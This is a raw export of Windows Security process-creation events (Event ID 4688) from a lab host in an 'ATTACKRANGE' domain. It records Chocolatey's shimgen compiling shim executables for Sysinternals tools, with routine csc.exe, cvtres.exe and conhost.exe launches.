-Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x44c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x60c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD193.tmp" "c:\ProgramData\chocolatey\bin\CSCF97A19CCA903481D9026743E6ECC561A.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246534 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf44 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x60c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246533 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x60c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x824 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\junction.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_3178\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_3178\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_3178\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_3178\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_3178\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246532 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x824 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246531 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x824 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\junction.exe" --output="C:\ProgramData\chocolatey\bin\junction.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\junction.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246530 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe4c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD0B8.tmp" "c:\ProgramData\chocolatey\bin\CSC916478E9FC144CC295FA6D4877CF6754.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246529 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe4c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246528 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc48 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\hex2dec64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_0990\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123411_0990\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_0990\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_0990\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123411_0990\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246527 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x998 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc48 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:05 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246526 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\hex2dec64.exe" --output="C:\ProgramData\chocolatey\bin\hex2dec64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\hex2dec64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246572 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x3c4 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246571 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3c4 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\LoadOrd64.exe" --output="C:\ProgramData\chocolatey\bin\LoadOrd64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\LoadOrd64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246570 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD78E.tmp" "c:\ProgramData\chocolatey\bin\CSC82BA5380CEF54323BDD416EFE2EF1A5.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246569 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9c8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246568 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe68 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\LoadOrd.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_8490\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123412_8490\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_8490\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_8490\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123412_8490\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246567 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe60 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe68 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246566 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe68 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\LoadOrd.exe" --output="C:\ProgramData\chocolatey\bin\LoadOrd.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\LoadOrd.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:06 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246565 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xddc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe44 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESD6B4.tmp" "c:\ProgramData\chocolatey\bin\CSCBE4F7D9DBE234F918C13C47E2BDECCB.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is 